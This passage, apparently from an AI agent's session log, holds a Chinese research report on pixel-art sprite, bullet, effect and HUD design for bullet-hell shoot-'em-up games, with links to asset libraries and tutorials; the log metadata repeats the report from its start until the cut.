文档):球(Ball)、椭圆弹、苦无(Kunai)、护符(Amulet)、星弹(Star 大/小)、音符(Note)、米粒/细菌弹、冰锥/碎片(Shard/Icicle)、箭头(Arrow)、火球、心形、花瓣、蝴蝶等。\n\n| 子弹类型 | 常见尺寸 | 形态与用途 |\n|---|---|---|\n| 小圆弹(Pellet/Tama) | 8×8 ~ 12×12 | 基础弹,最密集,靠数量形成弹幕 |\n| 中圆弹(Ball) | 16×16 | 通用主力弹,清晰可读 |\n| 椭圆弹(Oval) | 16×20 左右 | 带方向感/旋转感,常用于弯曲弹道 |\n| 苦无/箭形/导向弹(Directed) | 16×32 左右 | **方向性最重要**:图形应随移动方向旋转(SLYNYRD Part 2:箭头形追踪弹必须朝向运动方向) |\n| 大弹/特殊弹 | 24×24 / 32×32 | Boss 特殊弹、高伤弹 |\n| 激光(Laser) | 宽 4~16、长任意 | 预热细线→粗化→判定 |\n\n### 3.2 子弹颜色与类型的对应关系\n\n- **Danmakufu 官方 8 色**:RED、GREEN、BLUE、YELLOW、PURPLE、AQUA、ORANGE、WHITE——可作为色板起点,且激光与子弹共用这 8 色图形。\n- **颜色编码用途(Note 上\"15 个美丽弹幕\"文章 + Boghog)**:\n - 用颜色区分\"快弹 / 慢弹 / 装饰弹\"等**危险等级**,玩家读色即知威胁;\n - 颜色同时用于表达\"瞄准玩家的弹(aimed)\"与\"固定弹(static)\"等行为差异(各 STG 有自己约定,需在游戏内自学);\n - **红/粉/紫系是弹幕圈事实标准**:与常见特效颜色(黄橙爆炸、金色道具)冲突最少,不易混淆(Boghog 明确指出黄/橙传统弹容易与爆炸和金色道具撞色)。\n- **子弹颜色与发射单位颜色匹配**(SLYNYRD):敌方单位与它发射的子弹同色系,建立\"谁打的\"直觉。\n- **我方子弹用另一色系**(如青/绿白),与敌方红/粉/紫建立对战双方色系对立。\n\n### 3.3 子弹的动画帧设计(旋转、闪烁、脉动)\n\n- **闪烁(Flashing)**:双帧交替即可,对比越强越\"危险\",但对比过强高速移动时反而难追踪(SLYNYRD);常用于\"即将消失/即将命中\"状态。\n- **旋转(Rotation)**:星形、方形、椭圆可用 4~8 帧旋转;椭圆可做 Z 轴\"翻转\"来模拟 3D 感。\n- **脉动(Pulse)**:轻微膨胀-收缩,任何形状都适用,让子弹\"活着\"。\n- **波动/涟漪(Wobble/Ripple)**:CAVE(虫姬/怒首领蜂)子弹常用抖动+涟漪动画,作用是**抓住眼球并给每颗子弹独特身份**(Boghog)。\n- **动画帧数建议**:2D 旋转 4 帧(90°步进)起步、精细 8 帧;脉动 2~4 帧;闪烁 2 帧。帧率 12~15 FPS 贴合像素风。\n- **拖尾(Trail)**:轨迹不寻常(弯曲/追踪)的子弹加尾迹,帮助玩家预判(Boghog)。\n\n### 3.4 大量弹幕同屏时的视觉清晰度处理(核心)\n\n- **价值(Value)分层**:将图像转黑白即可检查——子弹应\"亮部+暗部紧挨\"(发光核心紧贴深色描边/内圈),最大化明度对比;背景用**低对比中间调**,让子弹可以用极值明度自由突出(Boghog)。\n- **描边(Outline)体系**:**敌方子弹用白色/亮色描边**(或亮+暗双描边),其他精灵用深色描边,从体系上把\"威胁\"和\"物体\"分开(SLYNYRD)。\n- **分块/分组(Chunking)**:把子弹编成线/环/簇等可读图案,让玩家读\"组合\"而非单颗;**单颗游离子弹最难读,容易显得不公平**(Boghog)。\n- **深度排序(Depth Sorting)**:敌方子弹永远绘制在自机、我方子弹、道具、爆炸之上;**小且快的子弹绘制在更大更慢的子弹之上**;单颗/小组绘制在大块之上(Boghog)。\n- **留隙(Design gaps)**:弹幕模式要\"设计缝隙\"——玩家能看见逃生路就公平,光炫但读不出路就让人感到不公平(note 文章)。\n- **限制换色**:单屏同时出现的弹色建议控制在 2~3 种(Boghog 风格惯例),避免信息过载。\n- **背景配合**:背景刻意保持暗/中调+低饱和,就是给子弹让出可读空间。\n\n---\n\n## 4. 特效与 UI\n\n### 4.1 爆炸特效的像素动画(SLYNYRD 方法)\n\n- **制作流程**:先用\"圆→扩张变细环\"的几何引导确定整体尺寸与扩张速率 → 把圆转成有机火焰团块 → 调团块运动。\n- **物理真实感原则**:热气先快后慢(热膨胀快、冷却变慢)→ 爆炸**先迅速扩张、后缓慢消散**。\n- **颜色演变**:**白炽(最亮)→ 暖色(红橙黄)→ 灰烟**消散。\n- **形态演变**:团块从整体一致→随扩张分裂为多而复杂的小块;暗部逐渐侵入;最大扩张后缓慢上浮并化为烟。\n- **冲击波**:把引导环稍作修改即可成冲击波环。\n- **Boss 爆炸**:屏幕级闪光 + 多层大爆炸 + 碎片残留(Anatomy of a Shmup 强调\"一切被摧毁的都应爆炸,Boss 阵亡必须是一场辉煌的灯光秀\")。\n- **尺寸建议**:爆炸精灵显著大于被摧毁单位(如单位 16×16 → 爆炸 24~48×24~48,8 帧左右);碎屑粒子 2~8 帧。\n\n### 4.2 拾取道具的视觉效果\n\n- **可读性优先**:道具必须一眼区别于\"威胁物\",形态独特 + **活跃的空闲动画**(idle animation)——旋转、漂浮、脉动、闪光都行(SLYNYRD Part 2)。\n- **经典道具色/形**:P(Power 火力,红色系)、S(Speed 速度)、Bomb(全屏雷)、1UP 生命、Heart 回血;建议固定配色约定(如红=火力、蓝=速度、金=得分)。\n- **分布与运动**:从特定敌人掉落 / 中立单位给予 / 随机入场;下落时做左右漂移、反弹、摇摆等\"伸手去接也有意思\"的运动。\n- **收集反馈**:拾取瞬间应有闪光+粒子+音效+分数飘字(详见 4.3)。\n- **点收集(Point of Collection)**:靠近屏幕顶端的一条\"自动收集线\"(东方系标准道具回收机制),线上道具全自动收集——UI/视觉上要有明确标识(例如顶部的装饰发光横线)。\n\n### 4.3 得分 / 连击的视觉反馈\n\n- **数字飘字**:得分/连击数用大号、亮色、带描边的像素数字,从事件点弹出并上浮淡出;字体建议用现成像素字体(如 Press Start 2P、Silkscreen 的开源替代)。\n- **连击(Combo/Chain)反馈**:连击计时条/乘数图标(如\"x2.5\")靠近 HUD 核心区;连击即将断时闪烁/变红制造紧张感(Dodonpachi 式\"防御性计分\"靠视觉压力驱动玩法)。\n- **擦弹(Graze)反馈**:子弹擦过判定外圈时给火花/星光 + 分数飘字,是东方系核心爽点,视觉上要有专门粒子。\n- **分数增长可视化**:让\"数字变大\"成为本能驱动(Boghog:大亮数字的成长本身就是激励)。\n- **层次化强调**:重要计分元素视觉上加强(更大更亮),次要元素弱化,让玩家一眼抓住当前目标(Boghog「Depth vs Clarity」)。\n\n### 4.4 血条、Bomb 数量等 HUD 设计\n\n- **HUD 基础要素**(STG 惯例):得分、连击/擦弹、自机数量(残机图标)、Bomb 数量(B 图标)、火力等级、Boss 血条(分段)、Boss 名/符卡名横幅、暂停/接关菜单。\n- **Boss 血条**:建议**分段色条**(每段对应一个攻击阶段),置于屏幕上方通栏;段末闪白提示\"即将切换攻击\"。\n- **Bomb 图标**:用典型\"B\"或者手雷/符卡造型的像素图标,数量用并列小图标表示(东方系风格:一枚 B 一颗星/符卡的排列)。\n- **残机(Lives)**:像素自机小图标排列,比数字更直观。\n- **注意遮挡**:HUD 元素放在玩法区之外(顶部/底部条)或半透明;Boghog 提醒玩家主要在屏幕中区活动,HUD 不应遮挡弹幕视野。\n- **风格统一**:HUD 的像素分辨率、色板、字体与游戏本体一致(CraftPix 等素材库提供现成 pixel UI,可直接适配)。\n- **像素 UI 素材参考**:CraftPix.net 的 Pixel Art Game UI 分类(免费/付费都有)。\n\n---\n\n## 5. 参考资源搜索汇总\n\n### 5.1 itch.io 免费/付费像素弹幕素材\n\n| 资源 | 内容 | 链接 |\n|---|---|---|\n| **Danmaku Sprite Pack**(Void dancer)| 模仿东方官方风格的子弹精灵包,免费,需遵守东方二次创作规约,可编辑 | https://void-dancer.itch.io/danmaku-sprite |\n| **Danmaku Sprite Pack(BDragon1727)** | 16×16 火/水/魔法子弹、特效精灵表,免费 | https://bdragon1727.itch.io/fire-pixel-bullet-16x16 、 https://bdragon1727.itch.io/free-effect-and-bullet-16x16 |\n| **Pixel SHMUP Ships / Pixel Art Spaceships for SHMUP**(DyLESTorm)| 免费 1 自机+2 敌机+2 弹幕+8 帧爆炸+UI;付费版 60 艘原创飞船 | https://livingtheindie.com/free-pixel-art-smhup-ships-game-asset 、 https://livingtheindie.itch.io/pixel-art-spaceships-for-shmup |\n| **Pixel Nebula Player SpaceShip**(PixelCarvel)| 32×32 自机,另有玩家僚机(Drone)、Boss 包、竖向背景包 | https://itch.io/game-assets/tag-bullet-hell |\n| **TopDown BulletHell Pack**(einav23)| $5.50 俯视角弹幕包(子弹+敌机+特效) | https://itch.io/game-assets/tag-bullet-hell |\n| **itch.io 筛选页** | `tag=Bullet Hell`、`tag=Shoot 'Em Up`、`tag=Pixel Art`、`Free` 组合筛选 | https://itch.io/game-assets/free/tag-pixel-art/tag-shoot-em-up 、 https://itch.io/game-assets/free/tag-bullet-hell/tag-sprites 、 https://itch.io/game-assets/free/tag-2d/tag-bullet-hell |\n\n### 5.2 OpenGameArt 免费素材(CC0/OGA-BY 授权)\n\n- **Explosions, Bullets, Fire etc (Pixel art)**:爆炸/子弹/火/电等离子精灵,干净像素风 | https://opengameart.org/content/explosions-bullets-fire-etc-pixel-art\n- **Assets Free Laser Bullets Pack 2020**(Wenrexa):66 个 CC0 激光/子弹 PNG,建议配 Color Dodge/Lighten 叠加渲染 | https://opengameart.org/content/assets-free-laser-bullets-pack-2020\n- **Enemy Spaceship 2D Sprites Pixel Art**(CraftPix 发布,OGA-BY 3.0):敌机精灵 | https://opengameart.org/content/enemy-spaceship-2d-sprites-pixel-art\n- **shmup 合集页**:https://opengameart.org/content/shmup\n\n### 5.3 经典 STG 精灵分析与弹幕设计参考\n\n- **Touhou Wiki - Hit box**:判定点机制与尺寸说明 | https://touhou.fandom.com/wiki/Hit_box 、 https://en.touhouwiki.net/wiki/Hitbox\n- **Touhou Danmakufu: Bullets(Fandom)**:8 色子弹系统 | https://touhou.fandom.com/wiki/Touhou_Danmakufu:_Bullets\n- **Touhou Community Jargon**:子弹类型名称大全(球/苦无/护符/星/音符/冰锥等)| https://maribelhearn.com/jargon\n- **Sparen's Danmaku Design Studio(Guide A2/A3)**:固定/随机/瞄准三种发射角、方向性子弹图形、环形公式 | https://sparen.github.io/ph3tutorials/ddsga2.html\n- **Boghog's bullet hell shmup 101**:弹幕游戏设计圣经(可见性/价值分层/深度排序/Toaplan 阵型等)| https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101\n- **Shmups Wiki 主站**:https://shmups.wiki\n- **Video Game Boss Design For Shmups**(GameDeveloper):血条分段与 Boss 战设计 | https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups\n- **The Anatomy of a Shmup**(GameDeveloper):爆炸、预告、难度交互清单 | https://www.gamedeveloper.com/design/the-anatomy-of-a-shmup\n- **Bullet Pattern Design(SHMUP WORKSHOP 03,YouTube)**:渐进难度/预告/引导玩家 | https://www.youtube.com/watch?v=ArZRZSYICLo\n\n### 5.4 像素艺术风格指南(教程/博客)\n\n- **SLYNYRD Pixelblog 31 - Shmup Design Part 1**:分辨率、自机、敌机、子弹、爆炸(本报告核心来源之一)| https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design\n- **SLYNYRD Pixelblog 32 - Shmup Design Part 2**:玩家射击类型(Vulcan/Laser/Homing)、道具、环境/视差 | https://www.slynyrd.com/blog/2021/2/15/pixelblog-32-shmup-design-part-2\n- **Pixel Art Tutorial - Understanding Explosions**(Penusbmic,itch.io 视频教程):爆炸动画两种做法 | https://penusbmic.itch.io/pixel-art-tutorial-understanding-explosions\n- **The 12 animation principles adapted for pixel art**(sprite-ai.art):低分辨率下的挤压拉伸/跟随动作 | https://www.sprite-ai.art/guides/animation-principles\n- **Aseprite / Piskel 爆炸教程**(YouTube 检索词:Aseprite pixel art explosion tutorial)\n- Piskel(免费在线像素编辑器):https://www.piskelapp.com\n\n### 5.5 建议搜索关键词(继续深挖用)\n\n`pixel art shmup sprites`、`bullet hell pixel art assets`、`STG sprite design`、`东方Project 像素风格`、`pixel art explosion animation`、`Touhou danmakufu bullet graphics`、`danmaku bullet sheets site:itch.io`、`shmup hitbox indicator`、`CAVE 子弹精灵拆解`\n\n---\n\n## 6. 给本项目落地落实的美术规范建议(可直接执行)\n\n1. **画布与倍率**:逻辑分辨率 **480×270(推荐)或 320×180**,整数倍放大 3~4 倍输出;所有精灵按 16 或 8 的倍数取尺寸(16×16 自机起步 / 32×32 精细自机;敌弹 8~16×16 系列;Boss 64×64)。\n2. **色板分工(建议)**:\n - 背景:低饱和中暗调(深蓝紫灰系),价值集中在中间调;\n - 敌方子弹:红/粉/紫系(8 色 Danmakufu 色板起步)+ 白/亮描边;\n - 我方子弹:青/绿白系 + 深描边;自机:高对比品牌色(如红白、蓝白);\n - 道具:金/橙(得分)、红(火力 P)、蓝(速度 S)、银灰(Bomb)——注意与敌弹色彩错开;\n - 爆炸:白→橙红黄→灰;\n - 预警:蓄力时变亮/变红,激光先亮细线。\n3. **动画帧数基线**:自机滚转 3~5 帧 + 尾焰 2~4 帧;敌机 2~4 帧;子弹旋转 4 帧(或 8 帧)、脉动 2~4 帧、闪烁 2 帧;爆炸 6~10 帧;道具 idle 2~4 帧。统一 12~15 FPS。\n4. **判定与显示**:自机真实判定用 2~4px 半径小圆,聚焦时显示同心空心圆 + 中心点(半透明+微旋),判定圈与显示圈完全同心。\n5. **绘制顺序(渲染层)**:背景 → 道具/粒子 → 我方子弹 → 敌人本体 → 我方自机 → **敌方子弹(最顶层)**;敌弹内部:小快弹 > 大慢弹。\n6. **工作流建议**:先用 itch.io/OpenGameArt 免费包搭出可玩原型(自机 1 + 敌机 3 + 子弹 5 种 + 爆炸 1 + UI 板),再按上述规范逐一套用原创精灵替换;调色与动画用 Aseprite(付费,推荐)或 Piskel(免费)。\n\n---\n\n## 7. 信息来源与可信度说明\n\n- **基于实测/原文提取的内容**(可信度高,可自行核验):SLYNYRD Pixelblog 31/32 全文、Boghog's bullet hell shmup 101 全文、void-dancer Danmaku Sprite Pack 页面、LivingTheIndie 免费 SHMUP 素材描述、各 itch.io/OpenGameArt 页面标题与标签。\n- **基于第三方社区/百科归纳**:Touhou Wiki 判定点机制(Hitbox 条目)、Maribel Hearn 的 Touhou Jargon、Sparen 弹幕教程、note 上\"15 个美丽弹幕\"文章、Reddit r/shmupdev 讨论——这些是社区整理,非官方文档,具体数值(如判定点像素大小、各作品子弹尺寸)以实际游戏/官方资料为准。\n- **标注为\"既有认知+\"的内容**(第 1.3 节东方风格总结):来自模型训练知识与社区资料交叉印证,非实时官方文档,**未逐一验证**,使用前建议对照东方官方立绘/游戏截图复核。\n- **价格为检索时点快照**(如 $5.50、$4.99),可能变动,以页面为准。\n```", "timestamp": "2026-08-23T12:32:41.008316", "message_id": "msg_c5e2d80671254a42969c75895234abce", "metadata": {"tool_payload": {"success": true, "type": "read", "path": "research/pixel_art_style/pixel_art_research.md", "encoding": "utf-8", "max_chars": 50000, "truncated": false, "content": "# 像素风格弹幕射击游戏(Bullet Hell / STG)美术设计调研报告\n\n> 调研时间:2026-08-23\n> 调研范围:玩家自机设计、敌方单位设计、子弹/弹幕像素美术、特效与 UI、免费素材与参考资源\n> 主要信息来源:SLYNYRD(Pixelblog 31/32)、Shmups Wiki「Boghog's bullet hell shmup 101」、Touhou Wiki、Sparen's Danmaku Design Studio、itch.io / OpenGameArt 素材库、(注:详见文末「信息来源与可信度」说明)\n\n---\n\n## 0. 摘要与总体结论\n\n- **弹幕游戏(Danmaku)的美术核心不是\"好看\",而是\"可读性(Readability)\"**:在屏幕同时存在数百颗子弹、多个敌人、粒子特效与道具时,玩家必须能在一瞬间分辨\"哪些是威胁、往哪里躲\"。所有美术决策都应服务于这一目标。\n- **色彩价值(Value)分层是清晰度的关键**:背景用低对比中间调,子弹用小面积高亮+暗色描边(亮暗相邻),玩家子弹、敌方子弹、道具、爆炸用不同明度层级区分。\n- **尺寸基准很重要**:16:9 屏幕下 SLYNYRD 建议 320×180 ~ 640×360 逻辑分辨率;自机相对屏幕的比例决定难度与手感。弹幕游戏常用低分辨率(如 480×270)让像素感更强烈、单位像素信息更少、制作更快。\n- **判定框(Hitbox)视觉提示**是东方式弹幕的标配:低速(聚焦)模式下显示一个小点或小圈,明确告诉玩家\"真正会中弹的位置\",与自机精灵大小形成强烈对比。\n- **免费素材足够支撑原型开发**:itch.io 与 OpenGameArt 上有大量免费像素 STG 素材(自机、敌机、子弹、爆炸、UI),落地阶段可先采购/复用,再逐步原创替换。\n\n---\n\n## 1. 玩家飞船 / 角色设计\n\n### 1.1 分辨率与屏幕尺寸基准(先定画布再画图)\n\n- SLYNYRD(Raymond Schlitter,Thyrian Defenders 作者)建议:16:9 屏幕下,**逻辑分辨率黄金区间为 320×180 ~ 640×360**;其教程以 **480×270** 为目标。\n- 分辨率越低像素越\"块\",像素味越浓、绘制耗时越少;但分辨率过高会失去像素艺术的\"集群可读性(reading intention within clusters)\"。\n- **自机相对屏幕的比例是决定玩法的关键因素**:屏幕越大、自机越小 → 适合高速、多元素同屏的弹幕玩法;自机占屏比越大 → 可容纳的物体越少、玩家反应时间越短(难度体验完全不同)。\n- 常见像素倍率:逻辑分辨率 320×180 / 480×270,放大 2~4 倍整数倍显示,避免像素走样。\n\n**建议(本项目)**:采用 480×270 或 320×180 逻辑分辨率;自机精灵建议 16×16(低配小自机)或 24×24 / 32×32(更有性格);弹幕量较大的话自机宜偏小。\n\n### 1.2 经典像素 STG 自机设计要点(大小、配色、识别度)\n\n综合 SLYNYRD 教程与 Boghog 指南:\n\n- **简洁+独特**:设计越复杂,动画越难做。建议在机翼加条纹(striping)增加性格,同时强调滚转(roll)的深度感。\n- **倾斜/滚转动画**:至少 左/右 + 居中 三帧;SLYNYRD 推荐每侧 **2 帧不同滚转度**(共 5 帧),配合侧向光源,左右移动更平滑(支持模拟输入时可分档滚转)。\n- **尾焰/推进器动画(thruster animation)是必须**:让飞船\"活着\"的关键,通常 2~4 帧。\n- **光源方向全场景统一**:所有精灵与背景使用同一方向光源,才能保持\"飞行\"的立体幻觉。\n- **识别度三要素**:① 与背景/敌方单位的明度层级区分;② 自机弹幕流要\"厚、快、密\"——玩家在紧张的弹幕环境中主要靠弹幕流+轮廓+微光来估算自机位置(Boghog);③ 判定中心可加视觉强调(见 1.5)。\n- **移动手感与视觉配合**:滚转动画速度应匹配移动速度;无惯性移动(Boghog 强烈建议避免移动惯性),若感觉移动\"不流畅\"多半是视觉问题而非参数问题——加残影(afterimage)、尾迹(trail)可显著改善跟手感。\n\n### 1.3 东方Project 系列的角色精灵风格\n\n(说明:以下为对 ZUN 官方游戏内精灵风格的既有认知 + 社区资料的归纳,非实时官方文档。)\n\n- 东方系列正作均为**纵轴弹幕射击**,自机/敌机使用**低分辨率角色小精灵**(PC-98 时代为 16×16 级;Windows 时代精灵更精细但整体仍是\"小尺寸、高识别度\"路线)。\n- 精灵风格特点:**大胆的色块、平涂/少渐变、深色描边**;角色通过发型、发色、服装主色快速辨识(如博丽灵梦的红白、雾雨魔理沙的黑白)。\n- **判定点文化**:按住 Shift 进入低速模式时,自机身上显示一个**小点/小圈标记判定点**(见 1.5),这是东方体系对弹幕公平性的核心贡献,被大量同类游戏沿用。\n- 弹幕本体是同人圈大量复刻的视觉语言:圆弹(tama)、椭圆弹、苦无(kunai)、星弹、音符、护符(amulet)等,见第 3 节。\n- 参考手绘同人/教程中常被提到的 ZUN 风格要点:面部与发型保持多年一致;早期(PC-98)更简朴,色块平涂、用色大胆;Windows 期精灵颜色细节更多但仍保持低饱和背景衬托高饱和子弹的做法。\n\n### 1.4 像素飞船设计要点(落地 Checklist)\n\n| 项目 | 建议 |\n|---|---|\n| 尺寸 | 16×16(极简)/ 24×24 / 32×32(推荐起步) |\n| 帧数 | 居中 1 帧 + 左右滚转各 1~2 帧 = 3~5 帧;尾焰 2~4 帧 |\n| 调色板 | 4~8 色以内/精灵:主色 1~2、辅色/描边 1~2、高光 1、尾焰橙黄 2~3 |\n| 描边 | 深色(近黑)描边,与\"用白色描边的敌方子弹\"形成体系区分 |\n| 轮廓 | 剪影可读性优先,避免细节糊成一片;从剪影草图开始 |\n| 判定中心 | 建议在自机中心下方(东方系在腰部)标 1~2px 亮点 |\n\n### 1.5 判定框(Hitbox)视觉提示设计\n\n- **机制背景**:东方系列中自机碰撞通常用一个**远小于精灵的小圆(约数像素半径)**判定(源自 Touhou Wiki「Hit box」条目:Hitbox 是角色腰部附近的一个小圆,聚焦时可显示)。\n- **视觉提示做法(主流方案)**:\n 1. **低速/聚焦模式才显示**:按住 Shift(低速)时显示一个半透明小圆圈/小点;普通模式不显示(避免干扰)。\n 2. 提示图形建议:**空心圆 + 中心实点**,对比色(如白/亮色配深色描边),随聚焦模式**轻微旋转/脉动**增加存在感(红魔乡社区的 d3d8.dll hitbox 补丁即模拟这种\"旋转+透明度变化\"行为)。\n 3. 判定圈大小应**可配置**(不同自机可不同),提示圈与真实判定圈完全同心、直径一致。\n- **视觉之外的判定公平性**:Boghog 建议——玩家子弹给\"大判定\"、敌人给\"大受击判\"(补偿微操作失误);玩家命中应\"慷慨\"(覆盖贴合情况),才不会有挫败感。\n\n---\n\n## 2. 敌方单位设计\n\n### 2.1 杂兵(Enemy Grunts)的像素设计\n\n- **同一阵营视觉统一+个体差异**:SLYNYRD 强调\"一组单位共享视觉一致性(形态语言、配色体系),又通过形状与颜色彼此区分\"。\n- **角色定位决定美术**:按\"速度 / 血量 / 体型 / 几何弹道 / 颜色\"五要素设计(SLYNYRD):\n - **Popcorn(一发即死的小怪)**:体积小、快、成群出现,是为了制造\"动作感\"而非威胁;血量只要够\"打完这一局\"即可,不要虚高(Boghog)。\n - 快怪 ↔ 低血量+弱弹;慢怪 ↔ 高血量+强火力,尺寸跨度要大。\n- **做 hit 反馈**:受击要闪烁/粒子/抖动,配轻量音效,否则敌人像\"虚影\"(Boghog)。\n- **大判定+可预测移动**:弹幕游戏的挑战来自弹幕而非躲闪敌人本体,所以敌人受击判定要大、移动要慢且可预测(Boghog)。\n- **尺寸参考**:杂兵 16×16 ~ 24×24;中 Boss(miniboss)32×32~48×48;帧数 2~4 帧(多帧震动/开火动画)。\n\n### 2.2 Boss 的体型与细节层次\n\n- **体型梯度**:Boss 应显著大于杂兵(如 48×48、64×64 甚至 96×96),\"越大杀起来越爽\"(SLYNYRD),但不要大到遮挡弹幕视野。\n- **细节层次**:Boss 可以有更多层细节(多层装甲、发光炮口、悬浮部件/浮游炮),但**核心剪影仍需在弹幕中一眼可读**;建议给 Boss 的主炮口、弱点做高亮标记。\n- **Boss 血条分段**:许多 STG 用可视化的 Boss 血条分段(每段切换一个攻击模式),例如 Gamedeveloper 文章提到\"视觉上将 Boss 血条分段以显示本段攻击何时结束\"。\n- **Boss 出场仪式**:Boss 出现前要有\"警告留白\"(玩家无事可做、专注看字幕/警告),用于聚集注意力(Anatomy of a Shmup)。\n- **Boss 爆炸要\"壮观\"**:屏幕级闪光 + 大爆炸动画 + 碎片四散(见 4.1)。\n\n### 2.3 敌方攻击前的视觉预警(Telegraph)\n\n- **蓄力动画**:炮口发光→聚集→发射,是通用预警语言;用 2~4 帧\"粒子向炮口汇聚/炮口颜色渐亮\"表达。\n- **颜色变化**:攻击前单位变色(如变红/变亮)提示即将开火。\n- **激光预警**:东方系激光常见\"先显示一条细亮线(约半秒)再出现命中判定\",是纯粹靠视觉(而非判定)预告的典型做法(社区对永夜抄等作品的解读)。\n- **模式分阶段呈现**:Boss 战先出简单版弹幕→每次重复更快更密更狠(Bullet Pattern Design 教程),玩家靠\"渐进式预告\"进入节奏。\n- **背景预告**:关卡背景用\"地标/视觉节奏\"给玩家读版记忆的锚点(SLYNYRD Part 2)——背景不只是装饰,是记忆关卡的工具。\n- **弹幕扇面/轨迹预告**:可弯曲、可追踪的弹幕建议加尾迹或拉长精灵,让轨迹可读(Boghog)。\n\n---\n\n## 3. 子弹 / 弹幕的像素美术\n\n### 3.1 常见像素子弹样式与尺寸\n\n**东方/弹幕体系常用子弹类型命名**(Touhou Community Jargon、Danmakufu 文档):球(Ball)、椭圆弹、苦无(Kunai)、护符(Amulet)、星弹(Star 大/小)、音符(Note)、米粒/细菌弹、冰锥/碎片(Shard/Icicle)、箭头(Arrow)、火球、心形、花瓣、蝴蝶等。\n\n| 子弹类型 | 常见尺寸 | 形态与用途 |\n|---|---|---|\n| 小圆弹(Pellet/Tama) | 8×8 ~ 12×12 | 基础弹,最密集,靠数量形成弹幕 |\n| 中圆弹(Ball) | 16×16 | 通用主力弹,清晰可读 |\n| 椭圆弹(Oval) | 16×20 左右 | 带方向感/旋转感,常用于弯曲弹道 |\n| 苦无/箭形/导向弹(Directed) | 16×32 左右 | **方向性最重要**:图形应随移动方向旋转(SLYNYRD Part 2:箭头形追踪弹必须朝向运动方向) |\n| 大弹/特殊弹 | 24×24 / 32×32 | Boss 特殊弹、高伤弹 |\n| 激光(Laser) | 宽 4~16、长任意 | 预热细线→粗化→判定 |\n\n### 3.2 子弹颜色与类型的对应关系\n\n- **Danmakufu 官方 8 色**:RED、GREEN、BLUE、YELLOW、PURPLE、AQUA、ORANGE、WHITE——可作为色板起点,且激光与子弹共用这 8 色图形。\n- **颜色编码用途(Note 上\"15 个美丽弹幕\"文章 + Boghog)**:\n - 用颜色区分\"快弹 / 慢弹 / 装饰弹\"等**危险等级**,玩家读色即知威胁;\n - 颜色同时用于表达\"瞄准玩家的弹(aimed)\"与\"固定弹(static)\"等行为差异(各 STG 有自己约定,需在游戏内自学);\n - **红/粉/紫系是弹幕圈事实标准**:与常见特效颜色(黄橙爆炸、金色道具)冲突最少,不易混淆(Boghog 明确指出黄/橙传统弹容易与爆炸和金色道具撞色)。\n- **子弹颜色与发射单位颜色匹配**(SLYNYRD):敌方单位与它发射的子弹同色系,建立\"谁打的\"直觉。\n- **我方子弹用另一色系**(如青/绿白),与敌方红/粉/紫建立对战双方色系对立。\n\n### 3.3 子弹的动画帧设计(旋转、闪烁、脉动)\n\n- **闪烁(Flashing)**:双帧交替即可,对比越强越\"危险\",但对比过强高速移动时反而难追踪(SLYNYRD);常用于\"即将消失/即将命中\"状态。\n- **旋转(Rotation)**:星形、方形、椭圆可用 4~8 帧旋转;椭圆可做 Z 轴\"翻转\"来模拟 3D 感。\n- **脉动(Pulse)**:轻微膨胀-收缩,任何形状都适用,让子弹\"活着\"。\n- **波动/涟漪(Wobble/Ripple)**:CAVE(虫姬/怒首领蜂)子弹常用抖动+涟漪动画,作用是**抓住眼球并给每颗子弹独特身份**(Boghog)。\n- **动画帧数建议**:2D 旋转 4 帧(90°步进)起步、精细 8 帧;脉动 2~4 帧;闪烁 2 帧。帧率 12~15 FPS 贴合像素风。\n- **拖尾(Trail)**:轨迹不寻常(弯曲/追踪)的子弹加尾迹,帮助玩家预判(Boghog)。\n\n### 3.4 大量弹幕同屏时的视觉清晰度处理(核心)\n\n- **价值(Value)分层**:将图像转黑白即可检查——子弹应\"亮部+暗部紧挨\"(发光核心紧贴深色描边/内圈),最大化明度对比;背景用**低对比中间调**,让子弹可以用极值明度自由突出(Boghog)。\n- **描边(Outline)体系**:**敌方子弹用白色/亮色描边**(或亮+暗双描边),其他精灵用深色描边,从体系上把\"威胁\"和\"物体\"分开(SLYNYRD)。\n- **分块/分组(Chunking)**:把子弹编成线/环/簇等可读图案,让玩家读\"组合\"而非单颗;**单颗游离子弹最难读,容易显得不公平**(Boghog)。\n- **深度排序(Depth Sorting)**:敌方子弹永远绘制在自机、我方子弹、道具、爆炸之上;**小且快的子弹绘制在更大更慢的子弹之上**;单颗/小组绘制在大块之上(Boghog)。\n- **留隙(Design gaps)**:弹幕模式要\"设计缝隙\"——玩家能看见逃生路就公平,光炫但读不出路就让人感到不公平(note 文章)。\n- **限制换色**:单屏同时出现的弹色建议控制在 2~3 种(Boghog 风格惯例),避免信息过载。\n- **背景配合**:背景刻意保持暗/中调+低饱和,就是给子弹让出可读空间。\n\n---\n\n## 4. 特效与 UI\n\n### 4.1 爆炸特效的像素动画(SLYNYRD 方法)\n\n- **制作流程**:先用\"圆→扩张变细环\"的几何引导确定整体尺寸与扩张速率 → 把圆转成有机火焰团块 → 调团块运动。\n- **物理真实感原则**:热气先快后慢(热膨胀快、冷却变慢)→ 爆炸**先迅速扩张、后缓慢消散**。\n- **颜色演变**:**白炽(最亮)→ 暖色(红橙黄)→ 灰烟**消散。\n- **形态演变**:团块从整体一致→随扩张分裂为多而复杂的小块;暗部逐渐侵入;最大扩张后缓慢上浮并化为烟。\n- **冲击波**:把引导环稍作修改即可成冲击波环。\n- **Boss 爆炸**:屏幕级闪光 + 多层大爆炸 + 碎片残留(Anatomy of a Shmup 强调\"一切被摧毁的都应爆炸,Boss 阵亡必须是一场辉煌的灯光秀\")。\n- **尺寸建议**:爆炸精灵显著大于被摧毁单位(如单位 16×16 → 爆炸 24~48×24~48,8 帧左右);碎屑粒子 2~8 帧。\n\n### 4.2 拾取道具的视觉效果\n\n- **可读性优先**:道具必须一眼区别于\"威胁物\",形态独特 + **活跃的空闲动画**(idle animation)——旋转、漂浮、脉动、闪光都行(SLYNYRD Part 2)。\n- **经典道具色/形**:P(Power 火力,红色系)、S(Speed 速度)、Bomb(全屏雷)、1UP 生命、Heart 回血;建议固定配色约定(如红=火力、蓝=速度、金=得分)。\n- **分布与运动**:从特定敌人掉落 / 中立单位给予 / 随机入场;下落时做左右漂移、反弹、摇摆等\"伸手去接也有意思\"的运动。\n- **收集反馈**:拾取瞬间应有闪光+粒子+音效+分数飘字(详见 4.3)。\n- **点收集(Point of 